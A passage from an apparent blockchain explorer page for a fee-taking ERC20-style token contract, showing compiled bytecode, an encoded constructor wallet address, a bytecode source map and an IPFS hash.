46106565760405162461bcd60e51b8152600401610474906110c6565b6001600160a01b0381166106bb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610474565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073457506001600160a01b03821615155b6107745760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610474565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107ff57506002546001600160a01b03838116911614155b801561081457506001600160a01b0382163014155b801561082e57506005546001600160a01b03838116911614155b801561084857506003546001600160a01b03838116911614155b801561086157505f546001600160a01b03848116911614155b156108ec576001600160a01b0382165f9081526010602052604090205460075461088b8383611147565b11156108ea5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610474565b505b6001600160a01b0383161580159061090c57506001600160a01b03821615155b6109505760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610474565b5f81116109ad5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610474565b60055460ff600160b81b82048116600160b01b90920416108015906109d3575060085481115b80156109e95750600554600160a01b900460ff16155b8015610a0d57506001600160a01b0383165f9081526012602052604090205460ff16155b8015610a2657506005546001600160a01b038381169116145b8015610a3b5750600554600160a81b900460ff165b15610a6d576005805460ff60b01b19169055305f908152601060205260409020548015610a6b57610a6b81610b66565b505b6001600160a01b0383165f9081526012602052604090205460019060ff1680610aad57506001600160a01b0383165f9081526012602052604090205460ff165b80610adf57506005546001600160a01b03858116911614801590610adf57506005546001600160a01b03848116911614155b15610aeb57505f610b29565b6005546001600160a01b0390811690851603610b0c57600b54600a55610b29565b6005546001600160a01b0390811690841603610b2957600c54600a555b610b3584848484610bab565b50505050565b5f8184841115610b5e5760405162461bcd60e51b81526004016104749190610faa565b505050900390565b6005805460ff60a01b1916600160a01b179055610b8281610c18565b6002544790610b9a906001600160a01b031682610d80565b50506005805460ff60a01b19169055565b80610bbd57610bb8610db8565b610bf1565b60058054600160b01b900460ff16906016610bd78361115a565b91906101000a81548160ff021916908360ff160217905550505b610bfc848484610dfc565b80610b3557610b35600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4b57610c4b611178565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cdf919061118c565b81600181518110610cf257610cf2611178565b6001600160a01b039283166020918202929092010152600454610d189130911684610714565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610d4f9186915f91879130914291016111a7565b5f604051808303815f87803b158015610d66575f80fd5b505af1158015610d78573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610db3573d5f803e3d5ffd5b505050565b600a54158015610dc85750600b54155b8015610dd45750600c54155b15610ddb57565b600b8054600e55600c8054600f55600a8054600d555f928390559082905555565b5f80610e0783610f3c565b6001600160a01b0387165f9081526012602090815260408083205460075460109093529083205494965092945060ff90921692919091111590828015610e4a5750815b90508015610e62575f9350610e5f8587611216565b95505b6001600160a01b0388165f90815260106020526040902054610e849087610f77565b6001600160a01b03808a165f908152601060205260408082209390935590891681522054610eb29086610f89565b6001600160a01b0388165f90815260106020526040808220929092553081522054610edd9085610f89565b305f9081526010602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b5f805f610f5f6064610f59600a5487610f9490919063ffffffff16565b90610f9f565b90505f610f6c8583610f77565b959194509092505050565b5f610f828284611216565b9392505050565b5f610f828284611147565b5f610f828284611229565b5f610f828284611240565b5f6020808352835180828501525f5b81811015610fd557858101830151858201604001528201610fb9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611009575f80fd5b50565b5f806040838503121561101d575f80fd5b823561102881610ff5565b946020939093013593505050565b5f805f60608486031215611048575f80fd5b833561105381610ff5565b9250602084013561106381610ff5565b929592945050506040919091013590565b5f60208284031215611084575f80fd5b8135610f8281610ff5565b5f80604083850312156110a0575f80fd5b82356110ab81610ff5565b915060208301356110bb81610ff5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061110f57607f821691505b60208210810361112d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561053457610534611133565b5f60ff821660ff810361116f5761116f611133565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561119c575f80fd5b8151610f8281610ff5565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111f55784516001600160a01b0316835293830193918301916001016111d0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561053457610534611133565b808202811582820484141761053457610534611133565b5f8261125a57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b0393c02e95e75d11b8b34165ef60db039c043c438b63d684c8578f22aefcac64736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000100f3f03d4c9ff65a94ab4ec0e7014ca9d7f48d8

-----Decoded View---------------
Arg [0] : xDefiWallet (address): 0x100f3f03D4C9FF65A94aB4EC0E7014cA9D7f48D8

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000100f3f03d4c9ff65a94ab4ec0e7014ca9d7f48d8


Deployed Bytecode Sourcemap

5057:8179:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12729:179;;;;;;;;;;;;;:::i;:::-;;7144:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7658:161;;;;;;;;;;-1:-1:-1;7658:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7658:161:0;1023:187:1;5760:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5760:53:0;1215:177:1;5411:41:0;;;;;;;;;;-1:-1:-1;5411:41:0;;;;-1:-1:-1;;;;;5411:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5411:41:0;1397:229:1;7421:100:0;;;;;;;;;;-1:-1:-1;7501:12:0;;7421:100;;5494:28;;;;;;;;;;-1:-1:-1;5494:28:0;;;;-1:-1:-1;;;5494:28:0;;;;;;12920:313;;;;;;;;;;-1:-1:-1;12920:313:0;;;;;:::i;:::-;;:::i;5657:31::-;;;;;;;;;;;;;;;;7330:83;;;;;;;;;;-1:-1:-1;7371:5:0;7396:9;-1:-1:-1;;;7396:9:0;;;;7330:83;;2264:4:1;2252:17;;;2234:36;;2222:2;2207:18;7330:83:0;2092:184:1;5925:27:0;;;;;;;;;;;;;;;;5459:28;;;;;;;;;;-1:-1:-1;5459:28:0;;;;-1:-1:-1;;;;;5459:28:0;;;5531:40;;;;;;;;;;-1:-1:-1;5531:40:0;;;;-1:-1:-1;;;5531:40:0;;;;;;5959:28;;;;;;;;;;;;;;;;7529:117;;;;;;;;;;-1:-1:-1;7529:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7622:16:0;7595:7;7622:16;;;:7;:16;;;;;;;7529:117;2746:148;;;;;;;;;;;;;:::i;6282:51::-;;;;;;;;;;-1:-1:-1;6282:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5698:55;;;;;;;;;;;;;;;;2523:87;;;;;;;;;;-1:-1:-1;2569:7:0;2596:6;-1:-1:-1;;;;;2596:6:0;2523:87;;7235;;;;;;;;;;;;;:::i;7831:167::-;;;;;;;;;;-1:-1:-1;7831:167:0;;;;;:::i;:::-;;:::i;8010:143::-;;;;;;;;;;-1:-1:-1;8010:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8118:18:0;;;8091:7;8118:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8010:143;2902:244;;;;;;;;;;-1:-1:-1;2902:244:0;;;;;:::i;:::-;;:::i;12729:179::-;2569:7;2596:6;-1:-1:-1;;;;;2596:6:0;1176:10;2658:23;2650:68;;;;-1:-1:-1;;;2650:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;12788:15:0::1;:29:::0;12850:3:::1;12838:9;:15:::0;12874:1:::1;12864:7;:11:::0;;;12887:8:::1;:12:::0;12729:179::o;7144:83::-;7181:13;7214:5;7207:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7144:83;:::o;7658:161::-;7733:4;7750:39;1176:10;7773:7;7782:6;7750:8;:39::i;:::-;-1:-1:-1;7807:4:0;7658:161;;;;;:::o;12920:313::-;13018:4;13035:36;13045:6;13053:9;13064:6;13035:9;:36::i;:::-;13082:121;13091:6;1176:10;13113:89;13151:6;13113:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13113:19:0;;;;;;:11;:19;;;;;;;;1176:10;13113:33;;;;;;;;;;:37;:89::i;:::-;13082:8;:121::i;:::-;-1:-1:-1;13221:4:0;12920:313;;;;;:::o;2746:148::-;2569:7;2596:6;-1:-1:-1;;;;;2596:6:0;1176:10;2658:23;2650:68;;;;-1:-1:-1;;;2650:68:0;;;;;;;:::i;:::-;2853:1:::1;2837:6:::0;;2816:40:::1;::::0;-1:-1:-1;;;;;2837:6:0;;::::1;::::0;2816:40:::1;::::0;2853:1;;2816:40:::1;2884:1;2867:19:::0;;-1:-1:-1;;;;;;2867:19:0::1;::::0;;2746:148::o;7235:87::-;7274:13;7307:7;7300:14;;;;;:::i;7831:167::-;7909:4;7926:42;1176:10;7950:9;7961:6;7926:9;:42::i;2902:244::-;2569:7;2596:6;-1:-1:-1;;;;;2596:6:0;1176:10;2658:23;2650:68;;;;-1:-1:-1;;;2650:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2991:22:0;::::1;2983:73;;;::::0;-1:-1:-1;;;2983:73:0;;4082:2:1;2983:73:0::1;::::0;::::1;4064:21:1::0;4121:2;4101:18;;;4094:30;4160:34;4140:18;;;4133:62;-1:-1:-1;;;4211:18:1;;;4204:36;4257:19;;2983:73:0::1;3880:402:1::0;2983:73:0::1;3093:6;::::0;;3072:38:::1;::::0;-1:-1:-1;;;;;3072:38:0;;::::1;::::0;3093:6;::::1;::::0;3072:38:::1;::::0;::::1;3121:6;:17:::0;;-1:-1:-1;;;;;;3121:17:0::1;-1:-1:-1::0;;;;;3121:17:0;;;::::1;::::0;;;::::1;::::0;;2902:244::o;9030:262::-;-1:-1:-1;;;;;9123:19:0;;;;;;:44;;-1:-1:-1;;;;;;9146:21:0;;;;9123:44;9115:74;;;;-1:-1:-1;;;9115:74:0;;4489:2:1;9115:74:0;;;4471:21:1;4528:2;4508:18;;;4501:30;-1:-1:-1;;;4547:18:1;;;4540:47;4604:18;;9115:74:0;4287:341:1;9115:74:0;-1:-1:-1;;;;;9200:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9252:32;;1361:25:1;;;9252:32:0;;1334:18:1;9252:32:0;;;;;;;9030:262;;;:::o;10291:1524::-;2569:7;2596:6;-1:-1:-1;;;;;10409:13:0;;;2596:6;;10409:13;;;;:47;;-1:-1:-1;10445:11:0;;-1:-1:-1;;;;;10439:17:0;;;10445:11;;10439:17;;10409:47;:83;;;;-1:-1:-1;;;;;;10473:19:0;;10487:4;10473:19;;10409:83;:119;;;;-1:-1:-1;10515:13:0;;-1:-1:-1;;;;;10509:19:0;;;10515:13;;10509:19;;10409:119;:146;;;;-1:-1:-1;10551:4:0;;-1:-1:-1;;;;;10545:10:0;;;10551:4;;10545:10;;10409:146;:178;;;;-1:-1:-1;2569:7:0;2596:6;-1:-1:-1;;;;;10572:15:0;;;2596:6;;10572:15;;10409:178;10405:359;;;-1:-1:-1;;;;;7622:16:0;;10604:18;7622:16;;;:7;:16;;;;;;10686:15;;10662:19;10675:6;7622:16;10662:19;:::i;:::-;10661:40;;10653:92;;;;-1:-1:-1;;;10653:92:0;;5097:2:1;10653:92:0;;;5079:21:1;5136:2;5116:18;;;5109:30;5175:34;5155:18;;;5148:62;-1:-1:-1;;;5226:18:1;;;5219:38;5274:19;;10653:92:0;4895:404:1;10653:92:0;10589:175;10405:359;-1:-1:-1;;;;;10784:18:0;;;;;;:38;;-1:-1:-1;;;;;;10806:16:0;;;;10784:38;10776:72;;;;-1:-1:-1;;;10776:72:0;;5506:2:1;10776:72:0;;;5488:21:1;5545:2;5525:18;;;5518:30;-1:-1:-1;;;5564:18:1;;;5557:51;5625:18;;10776:72:0;5304:345:1;10776:72:0;10876:1;10867:6;:10;10859:60;;;;-1:-1:-1;;;10859:60:0;;5856:2:1;10859:60:0;;;5838:21:1;5895:2;5875:18;;;5868:30;5934:34;5914:18;;;5907:62;-1:-1:-1;;;5985:18:1;;;5978:35;6030:19;;10859:60:0;5654:401:1;10859:60:0;10965:16;;;-1:-1:-1;;;10965:16:0;;;;-1:-1:-1;;;10949:12:0;;;;:32;;;;:73;;;11008:14;;10999:6;:23;10949:73;:107;;;;-1:-1:-1;11040:16:0;;-1:-1:-1;;;11040:16:0;;;;11039:17;10949:107;:149;;;;-1:-1:-1;;;;;;11074:24:0;;;;;;:18;:24;;;;;;;;11073:25;10949:149;:185;;;;-1:-1:-1;11121:13:0;;-1:-1:-1;;;;;11115:19:0;;;11121:13;;11115:19;10949:185;:223;;;;-1:-1:-1;11151:21:0;;-1:-1:-1;;;11151:21:0;;;;10949:223;10932:471;;;11215:12;:16;;-1:-1:-1;;;;11215:16:0;;;11295:4;-1:-1:-1;7622:16:0;;;:7;:16;;;;;;11319:24;;11316:76;;11346:43;11368:20;11346:21;:43::i;:::-;11198:205;10932:471;-1:-1:-1;;;;;11459:24:0;;11415:12;11459:24;;;:18;:24;;;;;;11430:4;;11459:24;;;:50;;-1:-1:-1;;;;;;11487:22:0;;;;;;:18;:22;;;;;;;;11459:50;:100;;;-1:-1:-1;11522:13:0;;-1:-1:-1;;;;;11514:21:0;;;11522:13;;11514:21;;;;:44;;-1:-1:-1;11545:13:0;;-1:-1:-1;;;;;11539:19:0;;;11545:13;;11539:19;;11514:44;11456:301;;;-1:-1:-1;11585:5:0;11456:301;;;11620:13;;-1:-1:-1;;;;;11620:13:0;;;11612:21;;;;11608:149;;11661:7;;11649:9;:19;11608:149;;;11696:13;;-1:-1:-1;;;;;11696:13:0;;;11690:19;;;;11686:71;;11737:8;;11725:9;:20;11686:71;11769:38;11784:4;11789:2;11792:6;11799:7;11769:14;:38::i;:::-;10394:1421;10291:1524;;;:::o;1784:206::-;1870:7;1931:12;1923:6;;;;1915:29;;;;-1:-1:-1;;;1915:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1966:5:0;;;1784:206::o;10027:244::-;6472:16;:23;;-1:-1:-1;;;;6472:23:0;-1:-1:-1;;;6472:23:0;;;10119:37:::1;10135:20:::0;10119:15:::1;:37::i;:::-;10239:11;::::0;10189:21:::1;::::0;10221:42:::1;::::0;-1:-1:-1;;;;;10239:11:0::1;10189:21:::0;10221:17:::1;:42::i;:::-;-1:-1:-1::0;;6518:16:0;:24;;-1:-1:-1;;;;6518:24:0;;;10027:244::o;12343:370::-;12468:7;12464:117;;12491:19;:17;:19::i;:::-;12464:117;;;12551:12;:14;;-1:-1:-1;;;12551:14:0;;;;;:12;:14;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;12464:117;12591:47;12612:6;12620:9;12631:6;12591:20;:47::i;:::-;12663:7;12659:46;;12685:20;8917:17;;8905:9;:29;8955:15;;8945:7;:25;8993:16;;8982:8;:27;8856:162;11864:471;11953:16;;;11967:1;11953:16;;;;;;;;11929:21;;11953:16;;;;;;;;;;-1:-1:-1;11953:16:0;11929:40;;11998:4;11980;11985:1;11980:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;11980:23:0;;;-1:-1:-1;;;;;11980:23:0;;;;;12024:15;;;;;;;;;-1:-1:-1;;;;;12024:15:0;-1:-1:-1;;;;;12024:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12014:4;12019:1;12014:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12014:32:0;;;:7;;;;;;;;;:32;12089:15;;12057:62;;12074:4;;12089:15;12107:11;12057:8;:62::i;:::-;12130:15;;;:197;;-1:-1:-1;;;12130:197:0;;-1:-1:-1;;;;;12130:15:0;;;;:66;;:197;;12211:11;;12130:15;;12254:4;;12281;;12301:15;;12130:197;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11918:417;11864:471;:::o;8161:117::-;8247:23;;-1:-1:-1;;;;;8247:15:0;;;:23;;;;;8263:6;;8247:23;;;;8263:6;8247:15;:23;;;;;;;;;;;;;;;;;;;;;8161:117;;:::o;8547:301::-;8598:9;;:14;:30;;;;-1:-1:-1;8616:7:0;;:12;8598:30;:47;;;;-1:-1:-1;8632:8:0;;:13;8598:47;8595:59;;;8547:301::o;8595:59::-;8684:7;;;8666:15;:25;8722:8;;;8703:16;:27;8762:9;;;8742:17;:29;-1:-1:-1;8782:11:0;;;;8804:12;;;;8827:13;8547:301::o;9304:715::-;9416:23;9441:13;9458:24;9474:7;9458:15;:24::i;:::-;-1:-1:-1;;;;;9517:26:0;;9493:21;9517:26;;;:18;:26;;;;;;;;;9592:15;;9573:7;:15;;;;;;;9415:67;;-1:-1:-1;9415:67:0;;-1:-1:-1;9517:26:0;;;;;9573:34;;;;;;9517:26;9635:31;;;;;9655:11;9635:31;9618:48;;9680:9;9677:78;;;9714:1;;-1:-1:-1;9717:26:0;9728:15;9717:26;;:::i;:::-;;;9677:78;-1:-1:-1;;;;;9783:15:0;;;;;;:7;:15;;;;;;:28;;9803:7;9783:19;:28::i;:::-;-1:-1:-1;;;;;9765:15:0;;;;;;;:7;:15;;;;;;:46;;;;9843:18;;;;;;;:39;;9866:15;9843:22;:39::i;:::-;-1:-1:-1;;;;;9822:18:0;;;;;;:7;:18;;;;;;:60;;;;9934:4;9918:22;;;;:33;;9945:5;9918:26;:33::i;:::-;9909:4;9893:22;;;;:7;:22;;;;;;;;;:58;;;;9967:44;1361:25:1;;;-1:-1:-1;;;;;9967:44:0;;;;;;;;;;1334:18:1;9967:44:0;;;;;;;9394:625;;;;;9304:715;;;:::o;8290:245::-;8354:7;8363;8383:13;8399:31;8426:3;8399:22;8411:9;;8399:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;8383:47;-1:-1:-1;8441:23:0;8467:18;:7;8383:47;8467:11;:18::i;:::-;8441:44;8521:5;;-1:-1:-1;8290:245:0;;-1:-1:-1;;;8290:245:0:o;1462:98::-;1520:7;1547:5;1551:1;1547;:5;:::i;:::-;1540:12;1462:98;-1:-1:-1;;;1462:98:0:o;1356:::-;1414:7;1441:5;1445:1;1441;:5;:::i;1568:98::-;1626:7;1653:5;1657:1;1653;:5;:::i;1678:98::-;1736:7;1763:5;1767:1;1763;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;3495:380::-;3574:1;3570:12;;;;3617;;;3638:61;;3692:4;3684:6;3680:17;3670:27;;3638:61;3745:2;3737:6;3734:14;3714:18;3711:38;3708:161;;3791:10;3786:3;3782:20;3779:1;3772:31;3826:4;3823:1;3816:15;3854:4;3851:1;3844:15;3708:161;;3495:380;;;:::o;4633:127::-;4694:10;4689:3;4685:20;4682:1;4675:31;4725:4;4722:1;4715:15;4749:4;4746:1;4739:15;4765:125;4830:9;;;4851:10;;;4848:36;;;4864:18;;:::i;6060:175::-;6097:3;6141:4;6134:5;6130:16;6170:4;6161:7;6158:17;6155:43;;6178:18;;:::i;:::-;6227:1;6214:15;;6060:175;-1:-1:-1;;6060:175:1:o;6372:127::-;6433:10;6428:3;6424:20;6421:1;6414:31;6464:4;6461:1;6454:15;6488:4;6485:1;6478:15;6504:251;6574:6;6627:2;6615:9;6606:7;6602:23;6598:32;6595:52;;;6643:1;6640;6633:12;6595:52;6675:9;6669:16;6694:31;6719:5;6694:31;:::i;6760:980::-;7022:4;7070:3;7059:9;7055:19;7101:6;7090:9;7083:25;7127:2;7165:6;7160:2;7149:9;7145:18;7138:34;7208:3;7203:2;7192:9;7188:18;7181:31;7232:6;7267;7261:13;7298:6;7290;7283:22;7336:3;7325:9;7321:19;7314:26;;7375:2;7367:6;7363:15;7349:29;;7396:1;7406:195;7420:6;7417:1;7414:13;7406:195;;;7485:13;;-1:-1:-1;;;;;7481:39:1;7469:52;;7576:15;;;;7541:12;;;;7517:1;7435:9;7406:195;;;-1:-1:-1;;;;;;;7657:32:1;;;;7652:2;7637:18;;7630:60;-1:-1:-1;;;7721:3:1;7706:19;7699:35;7618:3;6760:980;-1:-1:-1;;;6760:980:1:o;7745:128::-;7812:9;;;7833:11;;;7830:37;;;7847:18;;:::i;7878:168::-;7951:9;;;7982;;7999:15;;;7993:22;;7979:37;7969:71;;8020:18;;:::i;8051:217::-;8091:1;8117;8107:132;;8161:10;8156:3;8152:20;8149:1;8142:31;8196:4;8193:1;8186:15;8224:4;8221:1;8214:15;8107:132;-1:-1:-1;8253:9:1;;8051:217::o

Swarm Source

ipfs://0b0393c02e95e75d11b8b34165ef60db039c043c438b63d684c8578f22aefcac
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.